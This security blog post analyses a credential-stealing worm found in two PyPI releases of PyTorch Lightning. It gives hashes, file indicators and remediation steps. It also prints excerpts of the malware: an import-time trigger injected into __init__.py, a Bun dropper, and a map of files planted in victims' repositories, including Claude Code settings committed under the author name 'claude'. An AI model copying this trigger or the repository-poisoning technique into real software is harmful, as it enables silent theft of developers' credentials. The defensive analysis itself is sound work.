---
title: "PyTorch Lightning Compromised: Shai-Hulud Worm Reaches PyPI"
description: "PyPI yanked PyTorch Lightning versions 2.6.2 and 2.6.3 after both embedded a two-stage credential-stealing payload. Any import of the library spawns an 11MB obfuscated JavaScript worm identical to the Shai-Hulud payload seen in the April 29 SAP npm campaign."
url: "https://safedep.io/blog/malicious-pytorch-lightning-pypi-compromise"
author: "SafeDep Team"
published: "2026-04-30"
---

# PyTorch Lightning Compromised: Shai-Hulud Worm Reaches PyPI

The Shai-Hulud threat campaign has crossed from npm into PyPI. PyPI yanked `lightning` versions 2.6.2 and 2.6.3 of the PyTorch Lightning deep-learning framework after both embedded a credential-stealing worm. Every Python process that ran `import lightning` spawned the payload. The campaign is attributed to **TeamPCP** (also identified as LAPSUS$).

## TL;DR

Both versions carry a two-stage payload: a Python dropper injected into `lightning/__init__.py` that bootstraps the Bun JavaScript runtime, followed by an 11MB obfuscated JavaScript worm (`router_runtime.js`). The JS payload is byte-for-byte identical to `execution.js` from the [SAP CAP npm compromise](https://safedep.io/blog/mini-shai-hulud-and-sap-compromise) published one day earlier: same credential collectors, same GitHub worm, same npm republisher, same C2 encryption scheme. Version 2.6.3 stripped all debug output from the Python dropper and ran silent.

PyPI marks the first confirmed Shai-Hulud deployment outside npm. One key technical difference from the npm campaigns: the `__init__.py` trigger fires on `import`, not `pip install`, so sandboxed install environments miss it.

**Impact:**

- Credential theft on every `import lightning`: GitHub OAuth/PAT tokens (`ghp_`, `gho_`), npm automation tokens (`npm_`), GitHub Actions service tokens (`ghs_`), and all process environment variables including cloud credentials
- AWS account fingerprinting via `sts:GetCallerIdentity` and Secrets Manager enumeration
- Persistent foothold committed into up to 50 branches per writable GitHub repository via commits authored as `claude`, adding `.vscode/tasks.json`, `.claude/settings.json`, `.claude/router_runtime.js`, and `.claude/setup.mjs`; GitHub tokens are validated against `api.github.com/user` before exploitation
- npm package re-publication with the worm injected, bridging the compromise from PyPI into the npm ecosystem
- Exfiltration to an encrypted C2 on port 443

## Indicators of Compromise

### Malicious Package Artifacts

| Artifact                                               | SHA-256                                                            |
| ------------------------------------------------------ | ------------------------------------------------------------------ |
| `lightning-2.6.2-py3-none-any.whl`                     | `3071422c3294e7b61cb490c57c48c8dea569bacf12e57a078293b6547d7586d3` |
| `lightning-2.6.3-py3-none-any.whl`                     | `56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb` |
| `lightning/_runtime/router_runtime.js` (both versions) | `5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1` |
| `lightning/_runtime/start.py` (2.6.3)                  | `d2815d425ae08cc627f1db69009442165f8bbc64b7e9157e2ff9d7aab02094d4` |
| `lightning/_runtime/start.py` (2.6.2)                  | `8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2` |
| `lightning/__init__.py` (both versions)                | `2d4e21d2e78d0868ce7894487e67c67f929d8d81d78c5b07a3ad225b13eae890` |

The `router_runtime.js` hash matches the `execution.js` payload in `@cap-js/sqlite@2.2.2`, `@cap-js/postgres@2.2.2`, `@cap-js/db-service@2.10.1`, and `mbt@1.2.48`.

### File Presence Indicators

Any of these paths inside an installed `lightning` package indicate compromise:

- `lightning/_runtime/start.py`
- `lightning/_runtime/router_runtime.js`
- `lightning/_runtime/.bun/bun` (Bun binary written at runtime)

### Repository Poisoning Indicators

- Unexpected commits adding `.vscode/tasks.json`, `.claude/settings.json`, `.claude/setup.mjs`, or `.claude/router_runtime.js`
- Git commit author name `claude` with a `users.noreply.github.com` email on commits not made by your team
- VS Code task labelled `Environment Setup` with `runOptions.runOn: folderOpen`

## Analysis

### Execution Trigger: import-time, not install-time

The attacker modified `lightning/__init__.py` to spawn the payload as a daemon thread before any legitimate framework classes load:

```python
# lightning/__init__.py
import os
import subprocess
import sys
import threading


def _run_runtime() -> None:
    _runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
    _start = os.path.join(_runtime_dir, "start.py")
    if os.path.exists(_start):
        subprocess.Popen(
            [sys.executable, _start],
            cwd=_runtime_dir,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )


threading.Thread(target=_run_runtime, daemon=True).start()
```

The thread fires for every Python process that imports the library: training scripts, Jupyter notebooks, CI/CD jobs, `from lightning import Trainer`. The daemon flag prevents it from blocking the importer or appearing in stack traces.

The critical difference from the SAP npm campaign: `preinstall` hooks in npm run at `npm install` time inside the package manager's process. This trigger fires at application runtime, inside the user's own process, with access to the full runtime environment including any secrets the application loaded. A sandboxed or network-restricted install step offers no protection.

### Stage 1: Bun Dropper

`start.py` checks for a local or system Bun installation, downloads Bun 1.3.13 from the official GitHub release URL if absent, and executes `router_runtime.js`:

```python
# lightning/_runtime/start.py
BUN_VERSION = "1.3.13"
ENTRY_SCRIPT = "router_runtime.js"
BUN_INSTALL_DIR = SCRIPT_DIR / ".bun"

def resolve_asset_name() -> str:
    system = platform.system().lower()
    arch = platform.machine().lower()
    if system == "linux":
        if "arm" in arch or "aarch64" in arch: return "bun-linux-aarch64"
        return "bun-linux-x64-musl-baseline" if get_musl_status() else "bun-linux-x64-baseline"
    elif system == "darwin":
        return "bun-darwin-aarch64" if ("arm" in arch or "aarch64" in arch) else "bun-darwin-x64"
    elif system == "windows":
        return "bun-windows-aarch64" if ("arm" in arch or "aarch64" in arch) else "bun-windows-x64-baseline"
```

**2.6.2 vs 2.6.3.** Version 2.6.2 printed progress to stdout: `[*] Bun not found. Downloading and installing locally...`, `[*] Extracting binary...`, `[*] Executing: router_runtime.js`. Version 2.6.3 removed every print statement and added `stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL` to the Bun subprocess call. The `router_runtime.js` payload is unchanged between versions.

### Stage 2: The Shai-Hulud Payload

`router_runtime.js` is the same 11MB obfuscated bundle documented in the [SAP CAP npm campaign analysis](https://safedep.io/blog/mini-shai-hulud-and-sap-compromise). That analysis covers credential collectors, GitHub worm, npm republisher, and C2 exfiltration in full. Two details survive obfuscation in plaintext at the tail of the file:

**Geofencing.** The payload calls `tu0()` before doing anything else. The function checks `Intl.DateTimeFormat().resolvedOptions().timeZone` and the `LC_ALL`, `LC_MESSAGES`, `LANGUAGE`, and `LANG` environment variables for Russian locale markers. If any match, the process exits immediately. All known Shai-Hulud samples include this check.

**Repository file map.** The `k4f` object listing files committed to victim repositories is readable despite obfuscation:

```javascript
// router_runtime.js - files planted into every writable repo branch
var k4f = {
  '.vscode/tasks.json': _4f, // VS Code task, auto-runs on folder open
  '.claude/router_runtime.js': { sourcePath: Bun.main }, // copies the 11MB payload
  '.claude/settings.json': x4f, // malicious Claude Code settings
  '.claude/setup.mjs': zT, // Bun dropper
  '.vscode/setup.mjs': zT, // duplicate dropper for VS Code
};
```

The worm authors commits as `{ name: 'claude', email: /* obfuscated */ }`, impersonating Claude Code automated commits. The worm targets up to 50 branches per repository (the branch filter `AH0` is an empty array) and runs up to 2 parallel commit operations.

## Conclusion

The Shai-Hulud campaign reached the Python ML ecosystem by reusing the same JS payload with a new delivery mechanism. The import-time trigger bypasses sandboxed installs and install hook auditing: the payload runs in any environment where Python imports the library.

If you installed either version, rotate all credentials accessible from that machine: GitHub PATs, GitHub Actions secrets, npm tokens, AWS keys, and any cloud credentials in environment variables or dotfiles. Audit recent commits to your repositories for the file paths in the IoC section.

## References

- [Lightning AI on GitHub](https://github.com/Lightning-AI/lightning)
- [Mini Shai-Hulud and SAP Compromise, April 29 2026](https://safedep.io/blog/mini-shai-hulud-and-sap-compromise)
- [Shai-Hulud 2.0 technical analysis](https://safedep.io/blog/shai-hulud-second-coming-supply-chain-attack)
- [Shai-Hulud original campaign response](https://safedep.io/blog/shai-hulud-supply-chain-attack-response)
